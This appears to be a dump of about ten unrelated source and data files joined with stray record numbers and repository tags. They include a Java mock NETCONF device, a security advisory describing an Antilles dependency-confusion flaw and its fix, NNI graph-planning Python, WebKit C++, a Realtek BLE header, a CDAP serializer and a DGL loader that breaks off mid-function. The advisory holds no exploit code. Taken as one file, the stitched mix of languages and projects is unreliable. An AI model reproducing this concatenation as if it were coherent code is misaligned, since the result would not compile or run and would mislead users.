public class MockNetconfDevice implements NetconfDevice {
private boolean active = false;
private NetconfSession mockSession = null;
private NetconfDeviceInfo mockNetconfDeviceInfo;
private Class<? extends NetconfSession> sessionImplClass = MockNetconfSession.class;
public MockNetconfDevice(NetconfDeviceInfo netconfDeviceInfo) {
mockNetconfDeviceInfo = netconfDeviceInfo;
}
//Allows a different implementation of MockNetconfSession to be used.
public void setNcSessionImpl(Class<? extends NetconfSession> sessionImplClass) {
this.sessionImplClass = sessionImplClass;
}
@Override
public boolean isActive() {
return active;
}
@Override
public NetconfSession getSession() {
if (mockSession != null) {
return mockSession;
}
try {
mockSession =
sessionImplClass.getDeclaredConstructor(NetconfDeviceInfo.class).newInstance(mockNetconfDeviceInfo);
active = true;
return mockSession;
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
return null;
}
}
@Override
public void disconnect() {
// TODO Auto-generated method stub
mockSession = null;
active = false;
}
@Override
public NetconfDeviceInfo getDeviceInfo() {
// TODO Auto-generated method stub
return mockNetconfDeviceInfo;
}
}
| 797 |
892 | {
"schema_version": "1.2.0",
"id": "GHSA-hgc3-hp6x-wpgx",
"modified": "2021-11-17T21:17:29Z",
"published": "2021-11-03T17:36:22Z",
"aliases": [
"CVE-2021-3840"
],
"summary": "Antilles Dependency Confusion Vulnerability",
"details": "### Potential Impact: \nRemote code execution.\n\n### Scope of Impact: \nOpen-source project specific.\n\n### Summary Description:\nA dependency confusion vulnerability was reported in the Antilles open-source software prior to version 1.0.1 that could allow for remote code execution during installation due to a package listed in requirements.txt not existing in the public package index (PyPi). \nMITRE classifies this weakness as an Uncontrolled Search Path Element (CWE-427) in which a private package dependency may be replaced by an unauthorized package of the same name published to a well-known public repository such as PyPi.\nThe configuration has been updated to only install components built by Antilles, removing all other public package indexes. Additionally, the antilles-tools dependency has been published to PyPi.\n\n### Mitigation Strategy for Customers (what you should do to protect yourself):\nRemove previous versions of Antilles as a precautionary measure and Update to version 1.0.1 or later.\n\n### Acknowledgement:\nThe Antilles team thanks <NAME> for reporting this issue.\n\n### References:\nhttps://github.com/lenovo/Antilles/commit/c7b9c5740908b343aceefe69733d9972e64df0b9\n",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
}
],
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "antilles-tools"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.1"
}
]
}
]
}
],
"references": [
{
"type": "WEB",
"url": "https://github.com/lenovo/Antilles/security/advisories/GHSA-hgc3-hp6x-wpgx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3840"
},
{
"type": "WEB",
"url": "https://github.com/lenovo/Antilles/commit/c7b9c5740908b343aceefe69733d9972e64df0b9"
},
{
"type": "PACKAGE",
"url": "https://github.com/lenovo/Antilles"
}
],
"database_specific": {
"cwe_ids": [
"CWE-427"
],
"severity": "HIGH",
"github_reviewed": true
}
} | 1,058 |
351 | <filename>xlog-base/src/test/java/com/promegu/xlog/base/TestMatchMethod.java<gh_stars>100-1000
package com.promegu.xlog.base;
/**
* Created by guyacong on 2015/7/8.
*/
public class TestMatchMethod {
private int mInt;
private Long mLong;
private MethodToLog mMethodToLog;
@XLog
public TestMatchMethod() {
}
@XLog
public TestMatchMethod(int anInt) {
mInt = anInt;
}
@XLog
public TestMatchMethod(int anInt, Long aLong, MethodToLog methodToLog) {
mInt = anInt;
mLong = aLong;
mMethodToLog = methodToLog;
}
@XLog
private void method1() {
}
@XLog
private void method1(MethodToLog methodToLog) {
}
@XLog
private void method1(int i, Integer j) {
}
public class InnerClass {
@XLog
public InnerClass() {
}
@XLog
private void innerMethod() {
}
@XLog
private void innerMethod(int i) {
}
@XLog
private void innerMethod(MethodToLog methodToLog) {
}
}
public static class StaticNestedClass {
@XLog
public StaticNestedClass() {
}
@XLog
private void innerMethod() {
}
@XLog
private void innerMethod(int i) {
}
@XLog
private void innerMethod(MethodToLog methodToLog) {
}
}
}
| 656 |
9,680 | <reponame>dutxubo/nni
# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
import copy
from typing import Dict, Tuple, Any
from nni.retiarii.utils import uid
from nni.common.device import Device, CPUDevice
from ...graph import Cell, Edge, Graph, Model, Node
from ...operation import Operation, _IOPseudoOperation
class AbstractLogicalNode(Node):
def __init__(self, graph, node_id, name, operation, _internal=False):
super().__init__(graph, node_id, name, operation, _internal=_internal)
self.related_models = []
def assemble(self, multi_model_placement: Dict[Model, Device]) -> Tuple[Node, Device]:
"""
Given a set of models to be formed in a physical model and their device placement,
this function replaces the logical node with an executable physical node for the physical model.
Parameters
----------
multi_model_placement : dict
a dict of models and device placement.
These models will be assembled into the same physical model to run.
Returns
-------
node : Node
the physical node to replace the logical node in the physical model
placement : Device
the device placement of the returned physical node
"""
raise NotImplementedError
def _fork_to(self, graph: Graph):
raise NotImplementedError
class LogicalGraph(Graph):
def __init__(self, model: Model, graph_id: int, name: str = None, _internal: bool = False):
super().__init__(model, graph_id, name='logical_' + name, _internal=_internal)
def _dump(self) -> Any:
nodes_dump = {}
for node in self.hidden_nodes:
if isinstance(node, OriginNode):
nodes_dump[f"{node.original_graph.model.model_id}_{node.name}"] = node._dump()
else:
nodes_dump[f"{node.graph.model.model_id}_{node.name}"] = node._dump()
edges_dump = []
for edge in self.edges:
if isinstance(edge.head, OriginNode):
head_info = f'{edge.head.original_graph.model.model_id}_{edge.head.name}'
else:
head_info = edge.head.name
if isinstance(edge.tail, OriginNode):
tail_info = f'{edge.tail.original_graph.model.model_id}_{edge.tail.name}'
else:
tail_info = edge.tail.name
edges_dump.append((head_info, tail_info))
return {
'inputs': self.input_node.operation.io_names,
'outputs': self.output_node.operation.io_names,
'nodes': nodes_dump,
'edges': edges_dump
}
def _fork_to(self, model: Model) -> Graph:
new_graph = Graph(model, self.id, self.name,
_internal=True)._register()
for node in self.hidden_nodes:
if isinstance(node, AbstractLogicalNode):
node._fork_to(new_graph)
else:
Node(new_graph, node.id, node.name,
node.operation, _internal=True)._register()
id_to_new_node = {node.__repr__(): node for node in new_graph.nodes}
for edge in self.edges:
new_head = id_to_new_node[edge.head.__repr__()]
new_tail = id_to_new_node[edge.tail.__repr__()]
Edge((new_head, edge.head_slot),
(new_tail, edge.tail_slot), _internal=True)._register()
return new_graph
class OriginNode(AbstractLogicalNode):
"""
This is logical node representing the original node without any modification.
In assemble, just return the original node along with the physical placement given by multi_model_placement.
"""
def __init__(self, logical_graph: LogicalGraph,
original_graph: Graph, original_node: Node,
name: str, operation, _internal=False):
super().__init__(logical_graph, original_node.id, name, operation)
self.original_graph = original_graph
self.original_node = original_node
def assemble(self, multi_model_placement: Dict[Model, Device]) -> Tuple[Node, Device]:
model_id = self.original_node.graph.model.model_id
new_node = Node(self.original_node.graph, self.original_node.id,
f"M_{model_id}_" +
self.original_node.name,
self.original_node.operation)
return new_node, multi_model_placement[self.original_node.graph.model]
def __repr__(self):
return f'OriginNode(id={self.id}, name={self.name}, \
operation={self.operation}, origin_model_id={self.original_graph.model.model_id})'
def _fork_to(self, graph: Graph):
OriginNode(graph, self.original_graph, self.original_node,
self.name, self.operation)._register()
class LogicalPlan:
def __init__(self, plan_id=0) -> None:
self.lp_model = Model(_internal=True)
self.id = plan_id
self.logical_graph = LogicalGraph(
self.lp_model, self.id, name=f'{self.id}', _internal=True)._register()
self.lp_model._root_graph_name = self.logical_graph.name
self.models = []
def add_model(self, model: Model):
self.models.append(model)
# Only optimize the root graph.
self._merge_graph(model.root_graph)
def _merge_graph(self, from_graph):
to_graph = self.logical_graph
id_to_new_node = {} # old node ID -> new node object
for old_node in from_graph.nodes:
new_node = OriginNode(to_graph, old_node.graph,
old_node, old_node.name,
old_node.operation, _internal=True)._register()
id_to_new_node[old_node.id] = new_node
for edge in from_graph.edges:
new_head = id_to_new_node[edge.head.id]
new_tail = id_to_new_node[edge.tail.id]
Edge((new_head, edge.head_slot), (new_tail, edge.tail_slot), _internal=True)._register()
def assemble(self, multi_model_placement: Dict[Model, Device]) \
-> Tuple[Model, Dict[Node, Device]]:
"""
Given a set of models to be formed in a physical model and their device placement,
this function replaces all the logical node in this LogicalPlan with executable physical nodes
for the physical model.
Parameters
----------
multi_model_placement : dict
a dict of models and device placement.
These models will be assembled into the same physical model to run.
Returns
-------
phy_model : Model
the physical model formed by models in `multi_model_placement`
all logical node are replaced by physical nodes
node_placements : dict
the device placement of the nodes in `phy_model`
"""
phy_model = Model(_internal=True)
phy_graph = self.lp_model.root_graph._fork_to(phy_model)
phy_graph._rename_graph(phy_graph.name, "_model")
# merge sub-graphs
for model in multi_model_placement:
if phy_model.evaluator is None and model.evaluator is not None:
phy_model.evaluator = model.evaluator
for graph_name in model.graphs:
if graph_name != model._root_graph_name:
new_graph = model.graphs[graph_name]._fork_to(
phy_model, name_prefix=f'M_{model.model_id}_')
# prefix of M_ of hidden_nodes name in non-root graphs is added here
for new_node in new_graph.hidden_nodes:
if isinstance(new_node.operation, Cell):
old_cell_name = new_node.operation.cell_name
new_node.operation = copy.deepcopy(new_node.operation)
new_node.operation.cell_name = f'M_{model.model_id}_{old_cell_name}'
assert(phy_model.evaluator is not None)
# When replace logical nodes, merge the training configs when
# input/output nodes are replaced.
evaluator_slot = {} # Model ID -> Slot ID
input_slot_mapping = {}
output_slot_mapping = {}
# Replace all logical nodes to executable physical nodes
hidden_nodes = phy_graph.hidden_nodes.copy()
node_placements = {}
added_models = []
for node in hidden_nodes:
if isinstance(node, OriginNode):
model_id = node.original_graph.model.model_id
if node.original_graph.model not in multi_model_placement:
for edge in node.incoming_edges:
edge.remove()
for edge in node.outgoing_edges:
edge.remove()
node.remove()
continue
if isinstance(node, AbstractLogicalNode):
new_node, placement = node.assemble(multi_model_placement)
if isinstance(new_node.operation, _IOPseudoOperation):
model_id = new_node.graph.model.model_id
if model_id not in evaluator_slot:
added_models.append(model_id)
evaluator_slot[model_id] = len(added_models) - 1
slot = evaluator_slot[model_id]
else:
slot = evaluator_slot[model_id]
# If a model's inputs/outputs are not used in the multi-model
# the codegen and trainer should not generate and use them
# "use_input" and "use_output" are used to mark whether
# an input/output of a model is used in a multi-model
if new_node.operation.type == '_inputs':
input_slot_mapping[new_node] = slot
if new_node.operation.type == '_outputs':
output_slot_mapping[new_node] = slot
self.node_replace(node, new_node)
# name prefix of M_ of cells in hidden_nodes of root graphs is added here
# FIXME: merge this rename with non-root graph, only do once.
if isinstance(new_node.operation, Cell):
old_cell_name = new_node.operation.cell_name
new_node.operation = copy.deepcopy(new_node.operation)
new_node.operation.cell_name = f'M_{model_id}_{old_cell_name}'
# input should be at CPU, move it to GPU first if necessary
if isinstance(new_node.operation, _IOPseudoOperation) and new_node.operation.type == '_inputs':
# hack: only support single_server
node_placements[new_node] = CPUDevice(node_id=placement.node_id)
else:
node_placements[new_node] = placement
node.remove()
# If two nodes are placed on different devices, use ToDevice op to copy the node
# TODO: when copying one node to multiple devices, broadcast is more efficient than P2P communication
existing_edges = phy_graph.edges.copy()
# Avoid a node is copied multiple times on the same device
copied_op: Dict[Tuple(Node, Device), Node] = {}
for edge in existing_edges:
head_placement = node_placements[edge.head]
tail_placement = node_placements[edge.tail]
if head_placement != tail_placement:
if head_placement.node_id != tail_placement.node_id:
raise ValueError('Cross-server placement is not supported.')
# Same server different devices
if (edge.head, tail_placement) in copied_op:
to_node = copied_op[(edge.head, tail_placement)]
else:
dst_name = edge.head.name + "_to_" + edge.tail.name
to_operation = Operation.new(
'ToDevice', {
"device": tail_placement, "src": (
edge.head.name, edge.head_slot), "dst": dst_name})
to_node = Node(phy_graph, uid(), dst_name, to_operation)._register()
Edge((edge.head, edge.head_slot), (to_node, None), _internal=True)._register()
copied_op[(edge.head, tail_placement)] = to_node
node_placements[to_node] = head_placement
edge.head = to_node
edge.head_slot = None
# merge all input nodes into one with multiple slots
input_nodes = []
for node in phy_graph.hidden_nodes:
if isinstance(node.operation, _IOPseudoOperation) and node.operation.type == '_inputs':
input_nodes.append(node)
for edge in phy_graph.edges:
if edge.head in input_nodes:
edge.head_slot = input_slot_mapping[edge.head]
edge.head = phy_graph.input_node
# merge all output nodes into one with multiple slots
output_nodes = []
for node in phy_graph.hidden_nodes:
if isinstance(node.operation, _IOPseudoOperation) and node.operation.type == '_outputs':
output_nodes.append(node)
for edge in phy_graph.edges:
if edge.tail in output_nodes:
edge.tail_slot = output_slot_mapping[edge.tail]
edge.tail = phy_graph.output_node
for node in input_nodes:
node.remove()
for node in output_nodes:
node.remove()
return phy_model, node_placements
def node_replace(self, old_node: Node, new_node: Node, input_slot_mapping=None, output_slot_mapping=None):
# TODO: currently, only support single input slot and output slot.
if input_slot_mapping is not None or output_slot_mapping is not None:
raise ValueError('Slot mapping is not supported')
phy_graph = old_node.graph
new_node.graph = phy_graph
new_node._register()
for edge in phy_graph.edges:
if edge.head == old_node:
edge.head = new_node
elif edge.tail == old_node:
edge.tail = new_node
# after the replacement, there might be multiple duplicated edges
# with the same input and output nodes, which should be de-duplicated
self._remove_duplicated_edges()
def _remove_duplicated_edges(self):
# TODO: it does not have duplicated edges if only supporting dedup input
# Duplicated edges appear when a chain of prefix nodes are deduplicated
pass
| 6,800 |
677 | /*
* Copyright (C) 2013 Apple Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
* OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "config.h"
#include "PreciseJumpTargets.h"
#include "InterpreterInlines.h"
#include "JSCInlines.h"
#include "PreciseJumpTargetsInlines.h"
namespace JSC {
template <size_t vectorSize, typename Block, typename Instruction>
static void getJumpTargetsForBytecodeOffset(Block* codeBlock, Interpreter* interpreter, Instruction* instructionsBegin, unsigned bytecodeOffset, Vector<unsigned, vectorSize>& out)
{
OpcodeID opcodeID = interpreter->getOpcodeID(instructionsBegin[bytecodeOffset]);
extractStoredJumpTargetsForBytecodeOffset(codeBlock, interpreter, instructionsBegin, bytecodeOffset, [&](int32_t& relativeOffset) {
out.append(bytecodeOffset + relativeOffset);
});
// op_loop_hint does not have jump target stored in bytecode instructions.
if (opcodeID == op_loop_hint)
out.append(bytecodeOffset);
}
enum class ComputePreciseJumpTargetsMode {
FollowCodeBlockClaim,
ForceCompute,
};
template<ComputePreciseJumpTargetsMode Mode, typename Block, typename Instruction, size_t vectorSize>
void computePreciseJumpTargetsInternal(Block* codeBlock, Instruction* instructionsBegin, unsigned instructionCount, Vector<unsigned, vectorSize>& out)
{
ASSERT(out.isEmpty());
// We will derive a superset of the jump targets that the code block thinks it has.
// So, if the code block claims there are none, then we are done.
if (Mode == ComputePreciseJumpTargetsMode::FollowCodeBlockClaim && !codeBlock->numberOfJumpTargets())
return;
for (unsigned i = codeBlock->numberOfExceptionHandlers(); i--;) {
out.append(codeBlock->exceptionHandler(i).target);
out.append(codeBlock->exceptionHandler(i).start);
out.append(codeBlock->exceptionHandler(i).end);
}
Interpreter* interpreter = codeBlock->vm()->interpreter;
for (unsigned bytecodeOffset = 0; bytecodeOffset < instructionCount;) {
OpcodeID opcodeID = interpreter->getOpcodeID(instructionsBegin[bytecodeOffset]);
getJumpTargetsForBytecodeOffset(codeBlock, interpreter, instructionsBegin, bytecodeOffset, out);
bytecodeOffset += opcodeLengths[opcodeID];
}
std::sort(out.begin(), out.end());
// We will have duplicates, and we must remove them.
unsigned toIndex = 0;
unsigned fromIndex = 0;
unsigned lastValue = UINT_MAX;
while (fromIndex < out.size()) {
unsigned value = out[fromIndex++];
if (value == lastValue)
continue;
out[toIndex++] = value;
lastValue = value;
}
out.resize(toIndex);
out.shrinkToFit();
}
void computePreciseJumpTargets(CodeBlock* codeBlock, Vector<unsigned, 32>& out)
{
computePreciseJumpTargetsInternal<ComputePreciseJumpTargetsMode::FollowCodeBlockClaim>(codeBlock, codeBlock->instructions().begin(), codeBlock->instructions().size(), out);
}
void computePreciseJumpTargets(CodeBlock* codeBlock, Instruction* instructionsBegin, unsigned instructionCount, Vector<unsigned, 32>& out)
{
computePreciseJumpTargetsInternal<ComputePreciseJumpTargetsMode::FollowCodeBlockClaim>(codeBlock, instructionsBegin, instructionCount, out);
}
void computePreciseJumpTargets(UnlinkedCodeBlock* codeBlock, UnlinkedInstruction* instructionsBegin, unsigned instructionCount, Vector<unsigned, 32>& out)
{
computePreciseJumpTargetsInternal<ComputePreciseJumpTargetsMode::FollowCodeBlockClaim>(codeBlock, instructionsBegin, instructionCount, out);
}
void recomputePreciseJumpTargets(UnlinkedCodeBlock* codeBlock, UnlinkedInstruction* instructionsBegin, unsigned instructionCount, Vector<unsigned>& out)
{
computePreciseJumpTargetsInternal<ComputePreciseJumpTargetsMode::ForceCompute>(codeBlock, instructionsBegin, instructionCount, out);
}
void findJumpTargetsForBytecodeOffset(CodeBlock* codeBlock, Instruction* instructionsBegin, unsigned bytecodeOffset, Vector<unsigned, 1>& out)
{
getJumpTargetsForBytecodeOffset(codeBlock, codeBlock->vm()->interpreter, instructionsBegin, bytecodeOffset, out);
}
void findJumpTargetsForBytecodeOffset(UnlinkedCodeBlock* codeBlock, UnlinkedInstruction* instructionsBegin, unsigned bytecodeOffset, Vector<unsigned, 1>& out)
{
getJumpTargetsForBytecodeOffset(codeBlock, codeBlock->vm()->interpreter, instructionsBegin, bytecodeOffset, out);
}
} // namespace JSC
| 1,781 |
4,538 | <gh_stars>1000+
/**
*****************************************************************************************
* Copyright(c) 2017, Realtek Semiconductor Corporation. All rights reserved.
*****************************************************************************************
* @file link_mgr.h
* @brief Define multilink manager struct and functions.
* @author jane
* @date 2017-06-06
* @version v1.0
**************************************************************************************
* @attention
* <h2><center>© COPYRIGHT 2017 Realtek Semiconductor Corporation</center></h2>
**************************************************************************************
*/
#ifndef _LINK_MANAGER_H_
#define _LINK_MANAGER_H_
/*============================================================================*
* Header Files
*============================================================================*/
#include <app_msg.h>
#include <gap_conn_le.h>
/*============================================================================*
* Constants
*============================================================================*/
/** @addtogroup CENTRAL_CLIENT_GAP_MSG
* @{
*/
/**
* @brief Application Link control block defination.
*/
typedef struct
{
T_GAP_CONN_STATE conn_state; /**< Connection state. */
T_GAP_REMOTE_ADDR_TYPE bd_type; /**< remote BD type*/
uint8_t bd_addr[GAP_BD_ADDR_LEN]; /**< remote BD */
} T_APP_LINK;
/** @} */ /* End of group CENTRAL_CLIENT_GAP_MSG */
/** @addtogroup CENTRAL_CLIENT_SCAN_MGR
* @{
*/
/*============================================================================*
* Variables
*============================================================================*/
/** @brief App link table */
extern T_APP_LINK ble_central_app_link_table[BLE_CENTRAL_APP_MAX_LINKS];
/*============================================================================*
* Functions
*============================================================================*/
#endif
| 686 |
598 | <filename>tests/cli/grass/modes/on_premises/arm_parameters.json
{
"$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentParameters.json#",
"contentVersion": "1.1.0.0",
"parameters": {
"adminPublicKey": {
"value": null
},
"adminUsername": {
"value": null
},
"apiServerDestinationPorts": {
"value": null
},
"location": {
"value": null
},
"sshDestinationPorts": {
"value": null
}
}
}
| 218 |
982 | /*
* This file contains various logger routines
*
* Copyright (c) 2010-2019 Red Hat, Inc.
* Copyright (c) 2019 Virtuozzo International GmbH
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met :
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and / or other materials provided with the distribution.
* 3. Neither the names of the copyright holders nor the names of their contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED.IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#include "precomp.h"
#if defined(EVENT_TRACING)
#include "utils.tmh"
#endif
// Global debug printout level and enable\disable flag
BOOL g_bDebugPrint;
int g_DebugLevel;
ULONG g_DebugFlags;
#if !defined(EVENT_TRACING)
#define TEMP_BUFFER_SIZE 256
void DebugPrintProc(const char *format, ...)
{
char buf[256];
va_list list;
va_start(list, format);
if (StringCbVPrintfA(buf, sizeof(buf), format, list) == S_OK)
{
OutputDebugStringA(buf);
}
va_end(list);
}
#endif
void InitDebugPrints()
{
WPP_INIT_TRACING(NULL);
//TODO - Read nDebugLevel and bDebugPrint from the registry
g_DebugFlags = 0xffffffff;
g_bDebugPrint = 1;
g_DebugLevel = TRACE_LEVEL_INFORMATION;
}
| 770 |
369 | <gh_stars>100-1000
/*
* Copyright © 2014 <NAME>, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package io.cdap.cdap.internal.app;
import com.google.common.collect.Maps;
import com.google.common.reflect.TypeToken;
import com.google.gson.Gson;
import com.google.gson.JsonDeserializationContext;
import com.google.gson.JsonElement;
import com.google.gson.JsonObject;
import com.google.gson.JsonParseException;
import com.google.gson.JsonSerializationContext;
import io.cdap.cdap.api.Resources;
import io.cdap.cdap.api.plugin.Plugin;
import io.cdap.cdap.api.service.ServiceSpecification;
import io.cdap.cdap.api.service.http.HttpServiceHandlerSpecification;
import io.cdap.cdap.proto.codec.AbstractSpecificationCodec;
import org.apache.twill.api.ResourceSpecification;
import org.apache.twill.api.RuntimeSpecification;
import org.apache.twill.api.TwillSpecification;
import org.apache.twill.internal.json.TwillRuntimeSpecificationAdapter;
import java.lang.reflect.Type;
import java.util.Collections;
import java.util.List;
import java.util.Map;
/**
* Codec to serialize and deserialize {@link ServiceSpecification}
*
* TODO: Move to cdap-proto
*/
public class ServiceSpecificationCodec extends AbstractSpecificationCodec<ServiceSpecification> {
// For decoding old spec. Remove later.
private static final Gson GSON = new Gson();
private final TwillRuntimeSpecificationAdapter twillSpecificationAdapter;
public ServiceSpecificationCodec() {
twillSpecificationAdapter = TwillRuntimeSpecificationAdapter.create();
}
@Override
public ServiceSpecification deserialize(JsonElement json, Type typeOfT,
JsonDeserializationContext context) throws JsonParseException {
JsonObject jsonObj = (JsonObject) json;
if (isOldSpec(jsonObj)) {
return decodeOldSpec(jsonObj);
}
String className = jsonObj.get("className").getAsString();
String name = jsonObj.get("name").getAsString();
String description = jsonObj.get("description").getAsString();
Map<String, Plugin> plugins = deserializeMap(jsonObj.get("plugins"), context, Plugin.class);
Map<String, HttpServiceHandlerSpecification> handlers = deserializeMap(jsonObj.get("handlers"), context,
HttpServiceHandlerSpecification.class);
Resources resources = context.deserialize(jsonObj.get("resources"), Resources.class);
int instances = jsonObj.get("instances").getAsInt();
Map<String, String> properties = deserializeMap(jsonObj.get("properties"), context, String.class);
return new ServiceSpecification(className, name, description, handlers, resources, instances, plugins, properties);
}
@Override
public JsonElement serialize(ServiceSpecification spec, Type typeOfSrc, JsonSerializationContext context) {
JsonObject object = new JsonObject();
object.addProperty("className", spec.getClassName());
object.addProperty("name", spec.getName());
object.addProperty("description", spec.getDescription());
object.add("plugins", serializeMap(spec.getPlugins(), context, Plugin.class));
object.add("handlers", serializeMap(spec.getHandlers(), context, HttpServiceHandlerSpecification.class));
object.add("resources", context.serialize(spec.getResources(), Resources.class));
object.addProperty("instances", spec.getInstances());
object.add("properties", serializeMap(spec.getProperties(), context, String.class));
return object;
}
private boolean isOldSpec(JsonObject json) {
return json.has("classname"); // In old spec, it's misspelled as classname, not className.
}
private ServiceSpecification decodeOldSpec(JsonObject json) {
String className = json.get("classname").getAsString();
TwillSpecification twillSpec =
twillSpecificationAdapter.fromJson(json.get("spec").getAsString()).getTwillSpecification();
Map<String, HttpServiceHandlerSpecification> handlers = Maps.newHashMap();
RuntimeSpecification handlerSpec = twillSpec.getRunnables().get(twillSpec.getName());
Map<String, String> configs = handlerSpec.getRunnableSpecification().getConfigs();
// Get the class names of all handlers. It is stored in the handler runnable spec configs
List<String> handlerClasses = GSON.fromJson(configs.get("service.runnable.handlers"),
new TypeToken<List<String>>() { }.getType());
List<JsonObject> handlerSpecs = GSON.fromJson(configs.get("service.runnable.handler.spec"),
new TypeToken<List<JsonObject>>() { }.getType());
for (int i = 0; i < handlerClasses.size(); i++) {
String handlerClass = handlerClasses.get(i);
JsonObject spec = handlerSpecs.get(i);
Map<String, String> properties = GSON.fromJson(spec.get("properties"),
new TypeToken<Map<String, String>>() { }.getType());
// Reconstruct the HttpServiceSpecification. However there is no way to determine the datasets or endpoints
// as it is not recorded in old spec. It's ok since the spec is only used to load data from MDS during redeploy.
handlers.put(spec.get("name").getAsString(),
new HttpServiceHandlerSpecification(handlerClass,
spec.get("name").getAsString(),
spec.get("description").getAsString(),
properties, Collections.emptySet(),
Collections.emptyList()));
}
ResourceSpecification resourceSpec = handlerSpec.getResourceSpecification();
return new ServiceSpecification(className, twillSpec.getName(), twillSpec.getName(), handlers,
new Resources(resourceSpec.getMemorySize(), resourceSpec.getVirtualCores()),
resourceSpec.getInstances(), Collections.emptyMap());
}
}
| 2,382 |
2,293 | import sqlite3
import datetime
con = sqlite3.connect(":memory:", detect_types=sqlite3.PARSE_COLNAMES)
cur = con.cursor()
cur.execute('select ? as "x [timestamp]"', (datetime.datetime.now(),))
dt = cur.fetchone()[0]
print dt, type(dt)
| 92 |
9,516 | <gh_stars>1000+
from torch.utils.data import Dataset, DataLoader
import dgl
from dgl.data import PPIDataset
import collections
#implement the collate_fn for dgl graph data class
PPIBatch = collections.namedtuple('PPIBatch', ['graph', 'label'])
def batcher(device):
def batcher_dev(batch):
batch_graphs = dgl.batch(batch)
return PPIBatch(graph=batch_graphs,
label=batch_graphs.ndata['label'].to(device))
return batcher_dev
#add a fresh "self-loop" edge type to the untyped PPI dataset and prepare train, val, test loaders
def load_PPI(batch_size=1, device='cpu'):
train_set = PPIDataset(mode='train')
valid_set = PPIDataset(mode='valid')
test_set = PPIDataset(mode='test')
#for each graph, add self-loops as a new relation type
#here we reconstruct the graph since the schema of a heterograph cannot be changed once constructed
for i in range(len(train_set)):
g = dgl.heterograph({
('_N','_E','_N'): train_set[i].edges(),
('_N', 'self', '_N'): (train_set[i].nodes(), train_set[i].nodes())
})
g.ndata['label'] = train_set[i].ndata['label']
g.ndata['feat'] = train_set[i].ndata['feat']
g.ndata['_ID'] = train_set[i].ndata['_ID']
g.edges['_E'].data['_ID'] = train_set[i].edata['_ID']
train_set.graphs[i] = g
for i in range(len(valid_set)):
g = dgl.heterograph({
('_N','_E','_N'): valid_set[i].edges(),
('_N', 'self', '_N'): (valid_set[i].nodes(), valid_set[i].nodes())
})
g.ndata['label'] = valid_set[i].ndata['label']
g.ndata['feat'] = valid_set[i].ndata['feat']
g.ndata['_ID'] = valid_set[i].ndata['_ID']
g.edges['_E'].data['_ID'] = valid_set[i].edata['_ID']
valid_set.graphs[i] = g
for i in range(len(test_set)):
g = dgl.heterograph({
('_N','_E','_N'): test_set[i].edges(),
('_N', 'self', '_N'): (test_set[i].nodes(), test_set[i].nodes())
})
g.ndata['label'] = test_set[i].ndata['label']
g.ndata['feat'] = test_set[i].ndata['feat']
g.ndata['_ID'] = test_set[i].ndata['_ID']
g.edges['_E'].data['_ID'] = test_set[i].edata['_ID']
test_set.graphs[i] = g
etypes = train_set[0].etypes
in_size = train_set[0].ndata['feat'].shape[1]
